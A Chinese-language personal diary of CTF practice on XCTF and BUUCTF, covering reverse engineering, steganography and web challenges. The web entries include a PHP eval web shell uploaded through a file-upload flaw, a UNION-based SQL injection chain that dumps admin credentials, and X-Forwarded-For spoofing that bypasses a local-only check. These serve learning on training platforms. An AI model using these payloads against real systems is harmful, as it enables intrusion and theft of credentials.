22.1.14

好困啊,你看我这么早起来第一件事就是做这个,不得喜欢喜欢我?

owo owo

0x01 XCTF rev open-source

  1. 看源代码嘛
  2. 有个小注意的地方,std::cout<<atoi("123");这样会输出123。std::cout<<atoi("owo")<<"\n";这样会输出0
  3. 0xcafe对应数字51966
  4. 默认传入的argv中的argv[0]至少在windows下会显示自己的目录。

    ::linux
    [root@oao test]# /root/test/wa
    argc:1
    argv[0]:/root/test/wa
    
    [root@oao test]# ./wa
    argc:1
    argv[0]:./wa
    argv[1]:
    
    ::windows powershell
    PS F:\code\CTF\xctf\rev\open-source> .\test2    
    argc:1
    argv[0]:F:\code\CTF\xctf\rev\open-source\test2.exe
    argv[1]:
    
    ::windows cmd
    F:\code\CTF\xctf\rev\open-source>test2
    argc:1
    argv[0]:test2
    argv[1]:
    

    大概就是这样,会显示自己的目录信息。

  1. 然后这样就可以看参数啦

    PS F:\code\CTF\xctf\rev\open-source> .\test2 owo owo
    argc:3
    argv[0]:F:\code\CTF\xctf\rev\open-source\test2.exe
    argv[1]:owo
  2. 第二个条件可以暴力算出来是25
  3. 可以得到

    PS F:\code\CTF\xctf\rev\open-source> .\8b6405c25fe447fa804c6833a0d72808.exe 51966 25 h4cky0u
    Brr wrrr grr
    Get your key: c0ffee
  4. 这个题有个小坑,就是提交的时候不需要括号括起来..然后%x是16进制。

0x02 XCTF rev simple-unpack

  1. 稍微试了试,觉得很奇怪的文件。
  2. 在linux下看ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
  3. 执行后,输入个东西会显示try again。
  4. 不会做。
  5. 看了看要用upx脱壳

    PS F:\code\CTF\xctf\rev\simple-unpack> upx -d .\847be14b3e724782b658f2dda2e8045b
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX 3.96w       Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
        912808 <-    352624   38.63%   linux/amd64   847be14b3e724782b658f2dda2e8045b
    
    Unpacked 1 file.
  6. 真的很神奇诶。脱壳之后文件还变大了,而且ida可以解析了。
  7. flag{Upx_1s_n0t_a_d3liv3r_c0mp4ny}
  8. 好像这个题也可以winhex暴力查flag

0X03 XCTF MISC 功夫再高也怕菜刀

  1. 又到了可爱的鲨鱼环节。
  2. 不会做,记录下有用的东西吧。

    504B0506 压缩文件头
    追踪文件流可以得到压缩包。
    
    kali 下的foremost可以快速找到流量包的文件
    
    然后可以得到一个一个包包
  3. 还能在流里搜到一个图片
  4. 用图片上的密码解压

    flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}

吼住

010 Editor好像挺好用的

22.1.13

记录日常啦。

昨晚还在拉肚子,也没人陪我玩游戏。肚子疼得厉害,咕噜咕噜的叫。

到现在感觉也不怎么样。

今天打算不做buu了,做做攻防世界了。

0x01 reverse game

  1. 好可爱的小程序。IDA启动!
  2. 很快就能找到源代码的地方。
  3. 但是要注意一个地方,虽然反编译出来了好几个数组出来,但是实际上这是一个数组。
  4. 也就是v3,v4,甚至v5都是一个数组。
  5. 运行代码

    #include<cstdio>
    #include<cstring>
    
    
    
    int sub_45E940()
    {
      char v1; // [esp+0h] [ebp-164h]
      int i; // [esp+D0h] [ebp-94h]
      char v3[22]; // [esp+DCh] [ebp-88h] BYREF
      char v4[32]="`S,yhn _uec{"; // [esp+F2h] [ebp-72h] BYREF
      char v5[4]; // [esp+112h] [ebp-52h] BYREF
      char v6[64]; // [esp+120h] [ebp-44h]
    
     // sub_45A7BE((int)"done!!! the flag is ", v1);
      v6[0] = 18;
      v6[1] = 64;
      v6[2] = 98;
      v6[3] = 5;
      v6[4] = 2;
      v6[5] = 4;
      v6[6] = 6;
      v6[7] = 3;
      v6[8] = 6;
      v6[9] = 48;
      v6[10] = 49;
      v6[11] = 65;
      v6[12] = 32;
      v6[13] = 12;
      v6[14] = 48;
      v6[15] = 65;
      v6[16] = 31;
      v6[17] = 78;
      v6[18] = 62;
      v6[19] = 32;
      v6[20] = 49;
      v6[21] = 32;
      v6[22] = 1;
      v6[23] = 57;
      v6[24] = 96;
      v6[25] = 3;
      v6[26] = 21;
      v6[27] = 9;
      v6[28] = 4;
      v6[29] = 62;
      v6[30] = 3;
      v6[31] = 5;
      v6[32] = 4;
      v6[33] = 1;
      v6[34] = 2;
      v6[35] = 3;
      v6[36] = 44;
      v6[37] = 65;
      v6[38] = 78;
      v6[39] = 32;
      v6[40] = 16;
      v6[41] = 97;
      v6[42] = 54;
      v6[43] = 16;
      v6[44] = 44;
      v6[45] = 52;
      v6[46] = 32;
      v6[47] = 64;
      v6[48] = 89;
      v6[49] = 45;
      v6[50] = 32;
      v6[51] = 65;
      v6[52] = 15;
      v6[53] = 34;
      v6[54] = 18;
      v6[55] = 16;
      v6[56] = 0;
      v3[0] = 123;
      v3[1] = 32;
      v3[2] = 18;
      v3[3] = 98;
      v3[4] = 119;
      v3[5] = 108;
      v3[6] = 65;
      v3[7] = 41;
      v3[8] = 124;
      v3[9] = 80;
      v3[10] = 125;
      v3[11] = 38;
      v3[12] = 124;
      v3[13] = 111;
      v3[14] = 74;
      v3[15] = 49;
      v3[16] = 83;
      v3[17] = 108;
      v3[18] = 94;
      v3[19] = 108;
      v3[20] = 84;
      v3[21] = 6;
      //qmemcpy(v4, "`S,yhn _uec{", 12);
      v4[12] = 127;
      v4[13] = 119;
      v4[14] = 96;
      v4[15] = 48;
      v4[16] = 107;
      v4[17] = 71;
      v4[18] = 92;
      v4[19] = 29;
      v4[20] = 81;
      v4[21] = 107;
      v4[22] = 90;
      v4[23] = 85;
      v4[24] = 64;
      v4[25] = 12;
      v4[26] = 43;
      v4[27] = 76;
      v4[28] = 86;
      v4[29] = 13;
      v4[30] = 114;
      v4[31] = 1;
      v4[32]='u';
      v4[33]='~'; 
      strcpy(v5, "    ~");
      for ( i = 22; i < 55; ++i )
      {
        v4[i-22] ^= v6[i];
        v4[i-22] ^= '\x13';
      }
      printf("%s",v4);
    
      return 1;
    }
    int main(){
      sub_45E940();
    }
    //zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}
    
  6. 这样运行v3,v4就可以拿到差不多的flag
  7. 但,这个题还有别的做法。

    那就是可爱的CE修改器

    先上结论:

                         |-----------------------▲--------|
                         |-----------------------●--------|
                         |-----------------------◆--------|
                         |-----------------------■--------|
    |--------------------|-----------------------★--------|
    |                    |-----------------------▼--------|
    |                    |--------------------(°Д°)-----|
    |                    |--------------------(*°▽°)=3--|
    二                                                     |
    |           by 0x61                                    |
    |                                                      |
    |------------------------------------------------------|
    done!!! the flag is zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}
    input n,n(1-8)
    1.△ 2.○ 3.◇ 4.□ 5.☆ 6.▽ 7.( ̄▽ ̄)/ 8.(;°Д°) 0.restart
    n=
    1. 因为前面逆向了一次,可以看到,这个判断是个数组。
    2. 那样就直接搜数组,毕竟数组的内存地址基本上是连续的。
    3. 数组扫描
    4. 然后因为CE的修改数值的速度可能不如那啥快,那样就锁定绝大多数值,然后随便玩玩,很轻松就可以得到啦

zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}

0x02 BUU LSB

  1. linux 下file命令显示flag11.png: PNG image data, 268 x 268, 8-bit/color RGB, non-interlaced
  2. 好像没什么有用的信息,winhex也没有看到什么东西。
  3. 不会做,看WP
  4. 天,原来stegsolve的analyse功能可以这么用,好恐怖。
  5. 出来之后是个二维码。cumtctf{1sb_i4_s0_Ea4y}

0x03 BUU 你竟然赶我走

winhex 图片尾部 flag{stego_is_s0_bor1ing}

22.1.12

又是新的一天,感冒稍微好了点

希望今天的状态可以不错。

还在学一些别的东西。

typora收费了,咱用的是最后一个免费版,主要是正版属实有点小贵。

BUU UPLOAD COURSE 1

打开网页是一个文件上传的系统。

试一试一句话木马

<?php @eval($_GET["cmd"]); ?>

显示文件已储存在: uploads/61de2ea9af7ad.jpg

试一试

http://091478d9-fcbd-4c2d-bda0-ec5a37ef84eb.node4.buuoj.cn:81/index.php?file=uploads/61de2ea9af7ad.jpg

似乎没有显示

试试能不能蚂蚁剑连入。

在蚂蚁剑代码解压出错的时候,我又试了试这个

<?php
  echo "owo";
  ?>

有输出。owo

另外吐槽一下winrar的解压机制,每次都要从C盘复制回来是什么鬼啊。

呃,蚂蚁剑好像有点问题,等待的时候去玩玩misc

蚂蚁剑总算能用了。

中文名真的是个恐怖的东西。

竟然显示返回数据为空。

那就试试手动构建
<?php @eval("ls"); ?>

好像eval被禁用了。

但是问题不大,发现php文件是可以被执行的。于是,直接用php枚举文件。

检查目录:/tmp
/tmp/flag.sh
/tmp/html/index.php
/tmp/html/upload.php

发现了flag
尝试获得文件。

用phpcat进行cat文件。
#!/bin/bash echo $FLAG >> /flag export FLAG=not_flag FLAG=not_flag rm -f /flag.sh

真的是..
那就继续搜
/tmp/html/index.php 没有什么值钱的东西
/tmp/html/upload.php 也没有什么值钱的东西

那就试试/flag 
flag{55ff3ec8-67fe-4b64-be71-e1ef8556f3aa}
真的服了,猜中了。

问题就在这,开始的暴力枚举的脚本遇到没权限的会报错,但是我也没写try所以有问题。

但为什么evel不能用呢?

phpcat.php
<?php
$the_file_path = "/tmp/flag.sh" ;
$fp = fopen ( $the_file_path , "r" );
$str = fread ( $fp , filesize ( $the_file_path ));
echo $str;
?>

吼住

  1. 网上说好像.jpg 蚂蚁剑不能直接执行,那么是不是可以用php把代码重名为.php呢?
  2. 说干就干!
  3. 第3个小标

    <?php
    //uploads/61de3a0442c88.jpg
    
    echo "try:";
    echo rename("uploads/61de3a0442c88.jpg","uploads/e.php");
    ?>
    
        
    得到:    
    try:1
  4. 第4个小标

    //用之前的脚本
    ./uploads/61de380d1be04.jpg
    ./uploads/61de3828bcf26.jpg
    ./uploads/61de382bed83e.jpg
    ./uploads/61de3831f1d58.jpg
    ./uploads/61de387f9098f.jpg
    ./uploads/61de3a4fed328.jpg
    ./uploads/e.php
    ./uploads/61de3ac10a928.jpg
        
    那么是不是成功了呢?
        
    <?php @eval(system($_POST["owo"]));?>
        
  5. 还是显示连接失败,但是访问/uploads/ee.php

    已经显示有空白页面,而且不是nginx的

    我觉得是服务器禁止了eval

  6. 结束:看别人的博客看到了一个挺不错的软件,叫POSTMAN

N种方法解决

  1. 下载下来是个exe
  2. 发现好像没法直接运行。没法zip打开。
  3. linux下file KEY.exe: ASCII text, with very long lines, with no line terminators
  4. 看样子是个图片,扫描显示KEY{dca57f966e4e4e31fd5b15417da63269}

qr

  1. ......
  2. 欢迎参加本次比赛,密码为 Flag{878865ce73370a4ce607d21ca01b5e59}
  3. .....

BUU 22.1.11

|´・ω・)ノ

BUU SQL COURSE 1

找到了第一个地方
http://f4540384-ea58-4dea-83cf-d9c11a2bbfdb.node4.buuoj.cn:81/backend/content_detail.php?id=1

对于登录的地方,找了找好像没有什么有用的东西,就抓到一个POST

而且这个题也说是sql注入,那就考虑一下sql

然后从这里就卡住了

开始百度了。

content_detail.php?id=2 and 1=1 这样有返回的json
content_detail.php?id=2 and 1=2 这样没有返回的json
那样似乎可以说明这个sql被执行了。


?id=-1 union select 1,group_concat(distinct table_schema) from information_schema.columns
这样,联合查询,可以吧所有的库查出来。

{"title":"1","content":"information_schema,ctftraining,mysql,performance_schema,news"}


然后,对news库进行查询。
?id=-1 union select 1,group_concat(distinct table_name) from information_schema.columns where table_schema = 'news'

{"title":"1","content":"admin,contents"}

然后对admin表进行查询
?id=-1 union select 1,group_concat(distinct column_name) from information_schema.columns where table_name = 'admin'
得到:
{"title":"1","content":"id,username,password"}


然后对admin的库进行查询。
?id=-1 union select 1,group_concat(username,":",password) from admin

/backend/content_detail.php?id=-1%20union%20select%201,group_concat(username,%22:%22,password)%20from%20admin
{"title":"1","content":"admin:2346398f940ee03a8ae6a4e84dba0a9f"}

下一步

登录admin账号,密码:2346398f940ee03a8ae6a4e84dba0a9f

得到:flag{61ab7b14-b23d-498f-a804-3c98775f17aa}

备注:

select 1 from table
select anycol from table
select * from table
都是没有作用上的差别的。
但从效率上来说,1>anycol>*

BUU BURP COURSE 1

打开后显示

只能本地访问。

那么用burp直接伪造ip

X-Forwarded-For: 127.0.0.1
HTTP_X_FORWARD_FOR: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1

得到:

<form action="" method="post">
        用户名:<input type="text" name="username" value="admin"/><br>
        密码:<input type="password" name="password" value="wwoj2wio2jw93ey43eiuwdjnewkndjlwe"/><br>
        <input type="submit" value="登录"/>
</form>

然后点击登录得到

登录成功!flag{9cd39cf8-dab7-4965-9ace-1443a35c958a}

记得每次收发包都要伪造一下ip

二维码

扫描后显示secret is here

考虑可能在文件内

我傻了

改成zip直接打开了

里面有个4number.txt

那样考虑一下压缩包爆破?

↓随便下了个压缩包爆破

爆破开始
[+]QR_code.png.zip 解压密码是: 7639
[-] 耗时:0.0009925365447998047秒
[-] 累计尝试7639

得到flagCTF{vjpw_wnoei}

提交的时候要flag{vjpw_wnoei}